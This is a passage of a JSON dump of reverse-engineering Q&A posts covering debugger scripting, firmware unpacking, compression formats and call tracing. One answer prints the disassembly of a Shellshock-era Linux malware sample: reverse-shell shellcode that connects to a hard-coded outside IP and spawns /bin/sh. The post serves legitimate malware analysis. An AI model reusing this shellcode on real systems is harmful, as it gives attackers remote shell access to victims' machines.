\"&lt;b&gt;-&gt;h_alias    \\t%p &lt;/b&gt;\\n\",poi(poi(@$t0+0x4))\n.printf /D \"&lt;b&gt;-&gt;h_addrtype \\t%p &lt;/b&gt;\\n\",low(poi(@$t0+0x8))\n.printf /D \"&lt;b&gt;-&gt;h_length   \\t%p &lt;/b&gt;\\n\",hi(poi(@$t0+0x8))\n.printf /D \"&lt;b&gt;-&gt;h_addrlist \\t%p &lt;/b&gt;\\n\",poi(poi(@$t0+0xc))\n.printf /D \"&lt;b&gt;-&gt;h_addrlist contains ip address in network byte order&lt;/b&gt;\\n\"\ndb poi(poi(@$t0+0xc)) l10\n.printf /D \"&lt;b&gt;Ipv4 Address of google.com %d.%d.%d.%d\\n\" , \n\nby(poi(poi(@$t0+0xc))),by(poi(poi(@$t0+0xc))+1),by(poi(poi(@$t0+0xc))+2),by(poi(poi(@$t0+0xc))+3)\n</code></pre>\n\n<p>result dumped in raw format without symbol support in an unknown binary</p>\n\n<pre><code>0:000&gt; $$&gt;a&lt; ghostbyname.txt @eax\n\neax             0016c3b8 \nhostent *       0016c3f8 \n-&gt;h_name        www.google.com\n-&gt;h_alias       00000000 \n-&gt;h_addrtype    00000002 \n-&gt;h_length      00000004 \n-&gt;h_addrlist    0016c3e4 \n-&gt;h_addrlist contains ip address in network byte order\n0016c3e4  4a 7d ec d0 4a 7d ec d4-4a 7d ec d3 4a 7d ec d1  J}..J}..J}..J}..\nIpv4 Address of google.com 74.125.236.208\n</code></pre>\n"
    },
    {
        "Id": "6569",
        "CreationDate": "2014-11-03T09:40:20.567",
        "Body": "<p>I'm trying to extract GoPro hero 3+ camera firmware but I'm getting a weird output from <code>binwalk</code>.</p>\n\n<p>This is the <code>binwalk</code> output (Uploaded to pastebin): </p>\n\n<p><a href=\"http://pastebin.com/raw.php?i=yVZFGZT6\" rel=\"nofollow\">http://pastebin.com/raw.php?i=yVZFGZT6</a></p>\n\n<p>As you can see there are a lot of lines including mcrypt, RSA and other lines but the firmware is not encrypted. Also checking the hexadecimal of the file I can see the following:</p>\n\n<pre><code>000006f0  55 55 55 55 66 66 66 66  77 77 77 77 88 88 88 88  |UUUUffffwwww....|\n</code></pre>\n\n<p>As far as I know this is related to UBoot. And this other two lines showing some squashfs headers:</p>\n\n<pre><code>0151d040  45 3d cd 28 88 4f 39 80  68 73 71 73 bc 4f 39 80  |E=.(.O9.hsqs.O9.|\n02557250  8a f3 0d 00 68 73 71 73  90 f3 0d 00 72 65 65 62  |....hsqs....reeb|\n</code></pre>\n\n<p>Also, I can see some other lines related to CPIO but I can't figure out how to separate this file into extractable pieces.</p>\n\n<p>The firmware image can be downloaded here: <a href=\"http://software.gopro.com/Firmware/HD2/HD2-firmware.bin\" rel=\"nofollow\">http://software.gopro.com/Firmware/HD2/HD2-firmware.bin</a></p>\n",
        "Title": "Weird binwalk output on GoPro Firmware",
        "Tags": "|firmware|embedded|hexadecimal|",
        "Answer": "<p>Strings suggests this is using the UbiFS file system:</p>\n\n<pre><code>$ strings HD2-firmware.bin | grep -i ubifs\nconsole=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs\nLNX_VIF=\"../../../src/linuxinfo/ubifs.info\"\nCONFIG_BOSS_SECONDARY_CMDLINE=\"console=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs\"\nconsole=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs\n</code></pre>\n\n<p>There are only two places where I see the UbiFS super magic bytes (0x24051905, see <a href=\"http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/fs/ubifs/ubifs.h\" rel=\"nofollow\">http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/fs/ubifs/ubifs.h</a>):</p>\n\n<pre><code>$ binwalk -m ubifs.sig HD2-firmware.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n23734456      0x16A28B8       UbiFS, little endian\n23741868      0x16A45AC       UbiFS, little endian\n</code></pre>\n\n<p>For reference, the contents of ubifs.sig are:</p>\n\n<pre><code>0   lelong  0x24051905      UbiFS, little endian\n0   belong  0x24051905      UbiFS, big endian\n</code></pre>\n\n<p><strong>EDIT:</strong></p>\n\n<p>The above seems to be a false positive. After creating a UbiFS image of my own, here's what it looks like in hex:</p>\n\n<pre><code>00000000  31 18 10 06 dc 6a 3b 2d  4e 00 00 00 00 00 00 00  |1....j;-N.......|\n00000010  00 10 00 00 06 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000020  00 02 00 00 00 00 02 00  0d 00 00 00 64 00 00 00  |............d...|\n00000030  00 00 16 00 00 00 00 00  04 00 00 00 02 00 00 00  |................|\n00000040  01 00 00 00 01 00 00 00  08 00 00 00 00 01 00 00  |................|\n00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000060  00 00 00 00 00 00 00 00  00 ca 9a 3b fb 7e 13 36  |...........;.~.6|\n00000070  91 29 47 3b 8b dd 46 95  27 cc 8a 30 00 00 00 00  |.)G;..F.'..0....|\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00001000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\n*\n00020000  31 18 10 06 4a 3d 6b 5a  4f 00 00 00 00 00 00 00  |1...J=kZO.......|\n00020010  00 02 00 00 07 00 00 00  45 00 00 00 00 00 00 00  |........E.......|\n00020020  00 00 00 00 00 00 00 00  02 00 00 00 03 00 00 00  |................|\n00020030  0c 00 00 00 d8 05 00 00  bc 00 00 00 0b 00 00 00  |................|\n00020040  0c 00 00 00 00 08 00 00  98 06 00 00 00 00 00 00  |................|\n00020050  00 26 05 00 00 00 00 00  38 03 00 00 00 00 00 00  |.&amp;......8.......|\n00020060  30 d0 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |0...............|\n00020070  00 24 00 00 00 00 00 00  07 00 00 00 2a 00 00 00  |.$..........*...|\n00020080  07 00 00 00 00 02 00 00  07 00 00 00 36 00 00 00  |............6...|\n00020090  00 00 00 00 00 00 00 00  0a 00 00 00 01 00 00 00  |................|\n000200a0  01 00 00 00 0d 00 00 00  00 00 00 00 00 00 00 00  |................|\n000200b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00020200  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\n</code></pre>\n\n<p>Note the little endian magic number at the beginning of each node: <code>0x06101831</code>. </p>\n\n<p>This pattern appears in the GoPro firmware, and it looks like the UbiFS image may start at <code>0x22C6100</code>; however, I was unable to mount either my UbiFS image (created with <code>mkfs.ubifs</code>) or the image from the GoPro firmware, so I cannot verify that this is true.</p>\n"
    },
    {
        "Id": "6570",
        "CreationDate": "2014-11-03T01:04:23.953",
        "Body": "<p>I'm not experienced with GDB, and trying to examine an executable. I want to find the value of <code>%eax</code> at certain times, and whether it's ever <code>called</code> or <code>jumped</code>.</p>\n\n<p>I was only given the executable, and it doesn't have any breakpoints.</p>\n\n<p>If I enter <code>run</code>, the program runs and then finishes, and no commands work\u2014I get \"No symbol table is loaded\" and \"No registers.\"</p>\n\n<p>Dissembling the executable (<code>objdump -d</code>) doesn't help, the result is 130,000 lines long.</p>\n\n<p>How can I do this analysis?</p>\n\n<p>Update: I used PEDA successfully; I set breakpoints at the functions and stepped through the program using <code>next</code>.</p>\n",
        "Title": "Using GDB to look at stack",
        "Tags": "|exploit|assembly|",
        "Answer": "<p>First, you really need to set a breakpoint somewhere if you want <code>gdb</code> to stop before the program end.</p>\n\n<p>Then, you should really try to use <code>peda</code>, a set of configuration and Python scripts for <code>gdb</code> designed for reverse-engineering software.</p>\n\n<p>Take a look at:</p>\n\n<ul>\n<li><a href=\"http://ropshell.com/peda/\" rel=\"nofollow noreferrer\">The official page</a></li>\n<li><a href=\"https://github.com/longld/peda\" rel=\"nofollow noreferrer\">The Github page</a></li>\n<li><a href=\"http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf\" rel=\"nofollow noreferrer\">Slides from BlackHat'12</a></li>\n</ul>\n\n<p><img src=\"https://i.stack.imgur.com/r1dzi.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "6576",
        "CreationDate": "2014-11-03T18:55:05.433",
        "Body": "<p>I've reversed a decompression routine, but have to figure out the compression.</p>\n\n<p>Because the executable only decrypts and therefor has no compression routine and I'm not comfortable with compressions it's really hard for me.</p>\n\n<p>Here the code I've written in C#:</p>\n\n<pre><code>private unsafe void Decompress(byte[] decom, byte[] com, int comSize) {\n        byte[] dict = new byte[4096];\n        fixed (byte* pDict = dict, p1 = decom, p2 = com) {\n            byte* pDecom = p1, pCom = p2;\n\n            byte next;\n            int r6 = 0, r7 = 0xfee, r10, r9;\n\n            while (true) {\n                r6 &gt;&gt;= 1;\n\n                if ((r6 &amp; 0x100) == 0) {\n                    if (comSize-- == 0)\n                        return;\n\n                    r6 = 0xFF00 | *(pCom++);\n                }\n\n                if ((r6 &amp; 1) == 1) {\n                    if (comSize-- == 0)\n                        return;\n\n                    next = *(pCom++);\n                    *(pDecom++) = next;\n                    *(pDict + r7) = next;\n                    r7 = (r7 + 1) &amp; 0xFFF;\n                } else {\n                    if ((comSize -= 2) &lt;= 0)\n                        return;\n\n                    r10 = (*(pCom++) &lt;&lt; 8) | *(pCom++);\n\n                    r9 = r10 &gt;&gt; 4;\n                    r10 = (r10 &amp; 0xF) + 2;\n\n                    for (int i = r10 + 1; i &gt; 0; --i) {\n                        r10 = r9++ &amp; 0xFFF;\n                        next = *(pDict + r10);\n                        *(pDecom++) = next;\n                        *(pDict + r7) = next;\n                        r7 = (r7 + 1) &amp; 0xfff;\n                    }\n                }\n            }\n        }\n    }\n</code></pre>\n\n<p>It would be nice if someone could identify or post a link to code for the compression.\nAny help is appreciated.</p>\n",
        "Title": "Unknown compression (Decompression reversed)",
        "Tags": "|decompress|",
        "Answer": "<p>Based on <a href=\"https://groups.google.com/forum/#!topic/comp.compression/XuHhTgom-xM\" rel=\"nofollow\">this post</a>, that appears to be an <a href=\"http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77\" rel=\"nofollow\">LZ77</a> variant.</p>\n"
    },
    {
        "Id": "6585",
        "CreationDate": "2014-11-04T17:43:36.807",
        "Body": "<p>I am a student of informatics with additional games engineering.\nI currently have a project about Reverse Code Engineering. Mainly my task is to gather information about the topic \"Detecting weaknesses/vulnerabilities with RCE\" and write something about it.\nGathering the information, was the easy part, as with a little bit of google scholar search and references in papers I came up with a broad palette of papers. \"Program Slicing\", \"Taint Analysis\", \"Fuzzing\", \"Symbolic execution\" ...</p>\n\n<p>Now in addition to collecting the information and writing a paper, I have to make a little implementation. What exactly my implementation does, I have to decide on my own. It can be anything, as long as it has to do with detecting weaknesses and vulnerabilities with reverse code engineering.\nNow my problem:\nI never actually did any reverse code engineering. I have no idea what \"implementation\" I could make (with my little(no) practical knowledge of RCE).\nWith my instructor I talked about detecting vulnerabilities in games as my studies have to do with games engineering and games are an interesting topic for me.\nHowever when searching for scientific papers about detecting vulnerabilities in games I couldn't find anything. Most of the search results in scholar had to do with legal affairs and the rest had to do with anything in RCE, but games.\nAlso with normal google searching I couldn't find anything useful (papers/tutorials), but only news or descriptions of RCE in general and so on.\nI tried several combinations of different words like \"game(s)\", \"vulnerabilities\", \"weaknesses\",\"reverse code engineering\".</p>\n\n<p>Now I don't know if I just have the wrong way of searching, in this case, or if the stuff I search, really is hard (impossible?) to find.</p>\n\n<p>That's why i came here to ask you, if you know any good sources. Tutorials and/or scientific papers about detecting vulnerabilities in games?</p>\n\n<p>Maybe there is no information about that on the internet.\nMaybe (I don't know this) it could even be, that the task of detecting vulnerabilities in games is too demanding for someone with almost no knowledge in RCE and that I shouldn't even try to do this.\nThen I would have to program something else (easier).\nBut then again, I wouldn't know what to do. A program slicing algorithm? I have no idea of the difficulty level of certain implementations.\nTherefore if you can give me any hints on what else (beside games) would be apropriate implementing, I would be grateful to hear. Additionally links to good tutorials about implementing the alternative would be nice.</p>\n\n<p>I work on windows (99% of the time) and I am able to use Java, C++, C, C#, Python and Haskell.</p>\n\n<p>I really appreciate any help you can provide.</p>\n",
        "Title": "Detecting weaknesses/vulnerabilities (in games). Scientific papers/Tutorials?",
        "Tags": "|windows|c|python|java|vulnerability-analysis|",
        "Answer": "<p>This is a good (maybe starting to show its age) book <a href=\"http://rads.stackoverflow.com/amzn/click/0132271915\" rel=\"nofollow\">Exploiting Online Games: Cheating Massively Distributed Systems</a>.</p>\n\n<p>It has a general intro on game hacking, sections on reversing and exploiting. You'll find all you need there. You don't seem to be required to do binary reversing for your project. It sounds like any project on figuring out how a client or server works will do - even if they are in Lua :)</p>\n"
    },
    {
        "Id": "6589",
        "CreationDate": "2014-11-05T00:43:45.197",
        "Body": "<p>I am aware that when decompiling a jar file, it is normal for the resulting .java files to contain syntax errors, but I am unsure of why and worse off I am sometimes unsure of how to fix these syntax errors. Take <code>int[] arrayOfInt = new int['\u00c2\u20ac'];</code>, for example. Eclipse complains that <code>'\u00c2\u20ac'</code> does not belong. Surprise! I know this already, but why does this happen. How can I find out what this value should be?</p>\n",
        "Title": "Syntax errors when decompiling with JD-GUI",
        "Tags": "|java|",
        "Answer": "<p>Try taking a look at Bytecode Viewer - <a href=\"https://github.com/Konloch/bytecode-viewer\" rel=\"nofollow\">https://github.com/Konloch/bytecode-viewer</a></p>\n\n<p>It allows you to select from 3 different Java decompilers. It can also display the Bytecode and Hexcode of the Class file you select. (And more, check it out)</p>\n"
    },
    {
        "Id": "6591",
        "CreationDate": "2014-11-05T13:03:19.610",
        "Body": "<p>I'm working on reversing the SJ4000 camera firmware but I found a problem unpacking it.</p>\n\n<p>This is the header I found on the image:</p>\n\n<pre><code>00000000  42 43 4c 31 81 66 00 09  00 54 68 e0 00 2f 2b bf  |BCL1.f...Th../+.|\n</code></pre>\n\n<p>As you can see BCL1 is the header for 'Basic Compression Library' ( <a href=\"http://bcl.comli.eu/home-en.html\" rel=\"nofollow\">http://bcl.comli.eu/home-en.html</a> ) using LZ77 algorithm but I can't decompress the image with it.</p>\n\n<p>I built some files using BCL, compared to the firmware header and found this:</p>\n\n<pre><code>00000000  42 43 4c 31 81 66 00 09  00 54 68 e0 00 2f 2b bf  |BCL1.f...Th../+.| &lt; FIRMWARE\n00000000  42 43 4c 31 00 00 00 09  00 00 4f 88 99 7f 45 4c  |BCL1......O...EL| &lt; LZ\n00000000  42 43 4c 31 00 00 00 02  00 00 4f 88 20 03 06 90  |BCL1......O. ...| &lt; HUFFMAN\n00000000  42 43 4c 31 00 00 00 01  00 00 4f 88 99 7f 45 4c  |BCL1......O...EL| &lt; RLE\n00000000  42 43 4c 31 00 00 00 0a  00 00 4f 88 56 01 64 9f  |BCL1......O.V.d.| &lt; SF\n00000000  42 43 4c 31 00 00 00 03  00 00 4f 88 00 7f 45 4c  |BCL1......O...EL| &lt; RICE8\n00000000  42 43 4c 31 00 00 00 04  00 00 4f 88 00 45 7f 46  |BCL1......O..E.F| &lt; RICE16\n00000000  42 43 4c 31 00 00 00 05  00 00 4f 88 00 46 4c 45  |BCL1......O..FLE| &lt; RICE32\n</code></pre>\n\n<p>According to this the compression algorithm is LZ77 and it follows the same structure except for 2 bytes.</p>\n\n<pre><code>42 43 4c 31 &lt; Magic Number\n81 66 00 09 &lt; unknown 2 bytes + 2 standard bytes \n00 54 68 e0 &lt; Original Size\n00 2f 2b bf &lt; Compressed Size\n</code></pre>\n\n<p>Any idea what these 2 bytes mean?</p>\n\n<p>EDIT: I tried to edit that 2 bytes and override them with 00 00 so the header matches the standard. After that tried to uncompress it with BCL LZ77 and it prompts a segmentation fault:</p>\n\n<pre><code>LZ77 decompress FW96655A_ZERO.bin to test...\nInput file: 3091395 bytes\nOutput file: 5531872 bytes\nSegmentation fault\n</code></pre>\n\n<p>Checking the lenght bytes I got the following result:</p>\n\n<pre><code>0x005468E0 &gt; Big Endian Long: 5531872\n0x002F2BBF &gt; Big Endian Long: 3091391\n</code></pre>\n\n<p>As you can see for the compressed data length there is a difference of 4 bytes that might be causing the Seg. fault.</p>\n",
        "Title": "Non standard LZ77 compression header",
        "Tags": "|firmware|unpacking|decompress|magic-number|",
        "Answer": "<p>I don't know for sure but can think of two possibilities.  </p>\n\n<ol>\n<li><p>One is that it's simply a coding error and only the low half of the 32-bit register was initialized when the file was created.  If that's the case, then simply zeroing those two bytes should result in a successful decompression using the standard tool.</p></li>\n<li><p>The other is that it's a (proprietary) modification to the normal LZ77 decompression, in which case, it's likely to be a minor enhancement rather than a completely new scheme.</p></li>\n</ol>\n\n<p>All of the samples of that camera's firmware that I was easily able to locate on the internet use the standard <code>00 00 00 09</code> tag, which may indicate that the first possibility is the more likely.</p>\n\n<p>After checking with the binary you mentioned, it became clear that there was simply an error in the <code>bfc.c</code> file.  Specifically, around line 192 of <code>bfc.c</code> it says:</p>\n\n<pre><code>if( command == 'd' )\n{\n    /* Read header */\n    algo = ReadWord32( f );  /* Dummy */\n    algo = ReadWord32( f );\n    outsize = ReadWord32( f );\n    insize -= 12;\n}\n</code></pre>\n\n<p>However, this is incorrect because it fails to read the <code>infile</code> size as written in the header.  To quickly fix this, just change those lines to these and recompile:</p>\n\n<pre><code>if( command == 'd' )\n{\n    /* Read header */\n    algo = ReadWord32( f );  /* Dummy */\n    algo = ReadWord32( f );\n    outsize = ReadWord32( f );\n    ReadWord32( f );\n    insize -= 16;\n}\n</code></pre>\n\n<p>When I do that, there is no problem decompressing the code.  To make the corresponding change to the output file (that is, compressing), change the code around line 364 of <code>bfc.c</code> from this:</p>\n\n<pre><code>/* Write output file */\nWriteWord32( outsize, f );\nfwrite( out, outsize, 1, f );\nfclose( f );\n</code></pre>\n\n<p>to this:</p>\n\n<pre><code>/* Write output file */\nfwrite( out, outsize, 1, f );\nfclose( f );\n</code></pre>\n\n<p>I should probably mention the likely reason this change was done.  In the original program, the file size can be used to determine the size, but in an undifferentiated array of bytes (i.e. no file system) as is often the case in ROM, it is useful to encode both input and output files sizes within the header.</p>\n"
    },
    {
        "Id": "6598",
        "CreationDate": "2014-11-06T07:28:53.483",
        "Body": "<p>I'm trying to dump assembly code of a ShellShock malware explained in this blog post:</p>\n\n<ul>\n<li><a href=\"http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html?m=1\" rel=\"nofollow\">MMD-0027-2014 - Linux ELF bash 0day (shellshock): The fun has only just begun... </a>.</li>\n</ul>\n\n<p>After dumping using <code>objdump -d</code>, the output shows just the following:</p>\n\n<pre><code>fu4k:     file format elf32-i386\n</code></pre>\n\n<p>Then, I tried the command <code>objdump -b elf32-i386 -d fu4k</code>, but it gave the same output. </p>\n\n<p>Please point me in the right direction. Malware is located <a href=\"http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3506\" rel=\"nofollow\">here</a>\u00a0(login required, password:infected).</p>\n",
        "Title": "Unable to dump malware assembly using objdump",
        "Tags": "|malware|objdump|",
        "Answer": "<p><code>-d</code> only disassembles what objdump considers to be code sections. You can use <code>-D</code> to force disassembly of all sections. However, it still doesn't work for this file because it doesn't have a <em>section table</em>:</p>\n\n<pre><code>fu4k:     file format elf32-i386\nfu4k\narchitecture: i386, flags 0x00000102:\nEXEC_P, D_PAGED\nstart address 0x08048054\n\nProgram Header:\n    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12\n         filesz 0x00000098 memsz 0x000000dc flags rwx\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\nSYMBOL TABLE:\nno symbols\n</code></pre>\n\n<p>So, in this case you can ask objdump to treat the file as binary and disassemble everything:</p>\n\n<pre><code>objdump -b binary -D -m i386 fu4k\n</code></pre>\n\n<p>To improve disassembly, you can use the information from the <em>program headers</em> (load address and entrypoint address):</p>\n\n<pre><code>&gt;objdump -b binary -D -m i386 fu4k --adjust-vma=0x08048000 --start-address=0x08048054\n\nfu4k:     file format binary\n\n\nDisassembly of section .data:\n\n08048054 &lt;.data+0x54&gt;:\n 8048054:       31 db                   xor    %ebx,%ebx\n 8048056:       f7 e3                   mul    %ebx\n 8048058:       53                      push   %ebx\n 8048059:       43                      inc    %ebx\n 804805a:       53                      push   %ebx\n 804805b:       6a 02                   push   $0x2\n 804805d:       89 e1                   mov    %esp,%ecx\n 804805f:       b0 66                   mov    $0x66,%al\n 8048061:       cd 80                   int    $0x80\n 8048063:       93                      xchg   %eax,%ebx\n 8048064:       59                      pop    %ecx\n 8048065:       b0 3f                   mov    $0x3f,%al\n 8048067:       cd 80                   int    $0x80\n 8048069:       49                      dec    %ecx\n 804806a:       79 f9                   jns    0x8048065\n 804806c:       68 1b 13 9f e0          push   $0xe09f131b\n 8048071:       68 02 00 11 c1          push   $0xc1110002\n 8048076:       89 e1                   mov    %esp,%ecx\n 8048078:       b0 66                   mov    $0x66,%al\n 804807a:       50                      push   %eax\n 804807b:       51                      push   %ecx\n 804807c:       53                      push   %ebx\n 804807d:       b3 03                   mov    $0x3,%bl\n 804807f:       89 e1                   mov    %esp,%ecx\n 8048081:       cd 80                   int    $0x80\n 8048083:       52                      push   %edx\n 8048084:       68 2f 2f 73 68          push   $0x68732f2f\n 8048089:       68 2f 62 69 6e          push   $0x6e69622f\n 804808e:       89 e3                   mov    %esp,%ebx\n 8048090:       52                      push   %edx\n 8048091:       53                      push   %ebx\n 8048092:       89 e1                   mov    %esp,%ecx\n 8048094:       b0 0b                   mov    $0xb,%al\n 8048096:       cd 80                   int    $0x80\n</code></pre>\n"
    },
    {
        "Id": "6603",
        "CreationDate": "2014-11-06T21:38:47.757",
        "Body": "<p>I have a binary and I'm interested in an high level overview of how it operates. I was trying to generate a list of functions called during a particular execution, with their hierarchy, for example</p>\n\n<pre><code>f1 . f2                . f1 . f2\n        . f3 . f4                . f6\n                  . f5\n</code></pre>\n\n<p>which would mean that something like this is happening in that particular execution:</p>\n\n<pre><code>main {\n  f1();\n  f2();\n  f1();\n  f2();\n}\n\nf2 {\n  if(something) {\n    f3();\n    f4();\n  }\n  else {\n    f6();\n  }\n}\n\nf4 {\n  f5();\n}\n</code></pre>\n\n<p>This should make it easier to find the functions I'm interested in, and how they work at an high level. I could compare the flow between different executions where I do or don't do some things which should also help me.</p>\n\n<p>How would I go about doing it? What tools can I use? I'm 100% new to reverse engineering, I've been searching all day and I'm starting to feel like it doesn't actually make sense since it seems something pretty basic but I can't find any result.</p>\n",
        "Title": "Finding execution flow/calls to functions?",
        "Tags": "|debugging|dynamic-analysis|",
        "Answer": "<p>you can use windbg wt (watch and trace function to generate an execution flow) </p>\n\n<p>the demo below is for the code in your query compiled in debug mode (to ensure function calls exist and not optimised away by a simple substitution)</p>\n\n<p>code used for example compiled in msvcpp2ktenexp debug</p>\n\n<pre><code>    int  glob   = 0;\n    void f1(int a)  { printf(\"%d \",a); glob++;}\n    void f3(int a)  { printf(\"F3 %d \",a);}\n    void f5(int a)  { printf(\"F5 %d \",a);}\n    void f6(int a)  { printf(\"%d \",a);}\n    void f4(int a)  { f5(5);}\n    void f2(int a)  { if(glob == 8) { f3(3); f4(4); } else { f6(6); } }\n    void main()     { rndrob:f1(1);f2(2);f1(1);f2(2);if(glob&lt;10){goto rndrob;} }\ndry run results \n&gt;flowt.exe\n1 6 1 6 1 6 1 6 1 6 1 6 1 6 1 F3 3 F5 5 1 6 1 6\n</code></pre>\n\n<p>windbg wt results for module flowt function main() edited to remove fluff\nstatistics at the end shows printf() was called 21 times f3() f4() once etc etc</p>\n\n<p><strong>:>cdb -c \"g main;wt -m flowt\" flowt.exe</strong></p>\n\n<pre><code>Tracing flowt!main to return address 00411bcf\n   59     0 [  0] flowt!main\n   62     0 [  1]   flowt!f1\n1    72     0 [  2]     MSVCR100D!printf\n   65    72 [  1]   flowt!f1\n   62   156 [  0] flowt!main\n   61     0 [  1]   flowt!f2\n   62     0 [  2]     flowt!f6\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n   61     0 [  1]   flowt!f2\n   62     0 [  2]     flowt!f3\nF3 3    72     0 [  3]       MSVCR100D!printf\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n   64   153 [  1]   flowt!f2\n    62     0 [  3]       flowt!f5\nF5 5    72     0 [  4]         MSVCR100D!printf\n   65    72 [  3]       flowt!f5\n  141  4073 [  0] flowt!main\n\n4214 instructions were executed in 4213 events (0 from other threads)\nFunction Name                               Invocations MinInst MaxInst AvgInst\nMSVCR100D!printf                                     21      72      72      72\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nflowt!f1                                             10      77      77      77\nflowt!f2                                             10      71      75      71\nflowt!f3                                              1      74      74      74\nflowt!f4                                              1      69      69      69\nflowt!f5                                              1      74      74      74\nflowt!f6                                              9      74      74      74\nflowt!main                                            1     141     141     141\n</code></pre>\n\n<p><strong>Answer to Comment</strong></p>\n\n<p>If you had followed the logic exactly calc.exe will keep on outputting<br>\nthe <code>calls in MessageLoop Forever</code> until you <code>close calc.exe</code>  </p>\n\n<p><strong>windbg calc.exe</strong><br>\n<strong>g calc!WinMain</strong>     </p>\n\n<p>This is to <code>go to start of Winmain Function</code> (<code>wt traces and watches a single Function Call and its childcalls N deep</code> so to use wt you need to be on the start of any Function you wish to trace <code>g Winmain Ensures you are on the start of Function WinMain</code> </p>\n\n<p>now do</p>\n\n<p><strong>wt -m calc</strong> </p>\n\n<p>this will loop forever logging all the sub calls inside calc!WinMain</p>\n\n<p>below is a fine grained example for calc.exe </p>\n\n<p><code>DoOperation is a Function in calc.exe</code> that does all the operations<br>\nthe output below <code>shows how to watch and trace that function a single time</code> it is called   </p>\n\n<p><code>g calc!DoOperation breaks when DoOperation is called</code><br>\n<code>wt traces the DoOperation for one time</code> (will trace <code>one bracket open</code> \nif you do <code>3+5 and hit = it will stop tracing</code> it will also \n<code>stop tracing if you do 3+5 * because *<br>\n(multiplication finishes the first operation viz addition )</code>    </p>\n\n<p>and will print the results\n<code>g;q is required to tell we need to continue executing after wt and quit debugging when calc.exe is closed</code></p>\n\n<pre><code>&gt;cdb -c \"g calc!DoOperation; wt -m calc ;g;q\" calc\n\n0:000&gt; cdb: Reading initial command 'g calc!DoOperation; wt -m calc ;g;q'\n\nTracing calc!DoOperation to return address 010035a0\n    2     0 [  0] calc!DoOperation\n   10     0 [  1]   calc!_EH_prolog\n   20    10 [  0] calc!DoOperation\n   12     0 [  1]   calc!addrat\n   52     0 [  2]     calc!equnum\n   36    52 [  1]   calc!addrat\n   19     0 [  2]     calc!addnum\n   30     0 [  3]       calc!_addnum\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n  112    37 [  3]       calc!_addnum\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n  118    57 [  3]       calc!_addnum\n   23   175 [  2]     calc!addnum\n   41   250 [  1]   calc!addrat\n   28   301 [  0] calc!DoOperation\n\n329 instructions were executed in 328 events (0 from other threads)\n\nFunction Name                               Invocations MinInst MaxInst AvgInst\ncalc!DoOperation                                      1      28      28      28\ncalc!_EH_prolog                                       1      10      10      10\ncalc!_addnum                                          1     118     118     118\ncalc!_createnum                                       1      12      12      12\ncalc!_destroynum                                      1       3       3       3\ncalc!addnum                                           1      23      23      23\ncalc!addrat                                           1      41      41      41\ncalc!equnum                                           1      52      52      52\nkernel32!LocalAlloc                                   1      25      25      25\nkernel32!LocalFree                                    1      17      17      17\n\n0 system calls were executed\n\nquit:\n</code></pre>\n\n<p>if you find escaping quotes a bit annoying and would like to keep on tracing DoOperation several times put these commands in a text file say foo.txt and run the script with</p>\n\n<pre><code>cdb -c \"$$&gt;a&lt; c:\\foo.txt\"  calc\n</code></pre>\n\n<p>contents of foo.txt</p>\n\n<pre><code>bp calc!DoOperation \"bp /1 @$ra \\\"g\\\";wt -m calc\"\ng;\n</code></pre>\n\n<p>this sets a one shot breakpoint on the return address of DoOperation() and issues a go to tell windbg to keep on executing the target after tracing and returning from the Function DoOperation() in calc.exe</p>\n\n<p>output below contains an addition and LeftShift operation trace in calc.exe</p>\n\n<p><strong>>cdb -c \"$$>a&lt; c:\\foo.txt\"  calc</strong></p>\n\n<pre><code>0:000&gt; cdb: Reading initial command '$$&gt;a&lt; c:\\foo.txt'\nAddition operation \n\nTracing calc!DoOperation to return address 010035a0\n    2     0 [  0] calc!DoOperation\n   10     0 [  1]   calc!_EH_prolog\n   18    10 [  0] calc!DoOperation\n    6     0 [  1]   calc!mulrat\n   14     0 [  2]     calc!zernum\n   12    14 [  1]   calc!mulrat\n   22     0 [  2]     calc!mulnumx\n   19     0 [  3]       calc!_mulnumx\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n  127    37 [  3]       calc!_mulnumx\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n  133    57 [  3]       calc!_mulnumx\n   27   190 [  2]     calc!mulnumx\n   17   231 [  1]   calc!mulrat\n   24     0 [  2]     calc!mulnumx\n   19   255 [  1]   calc!mulrat\n   36     0 [  2]     calc!trimit\n   23   291 [  1]   calc!mulrat\n   26   324 [  0] calc!DoOperation\n\n350 instructions were executed in 349 events (0 from other threads)\n\nleft shift operation\n\nTracing calc!DoOperation to return address 010035a0\n    2     0 [  0] calc!DoOperation\n   10     0 [  1]   calc!_EH_prolog\n   26    10 [  0] calc!DoOperation\n    6     0 [  1]   calc!_destroyrat\n   28    16 [  0] 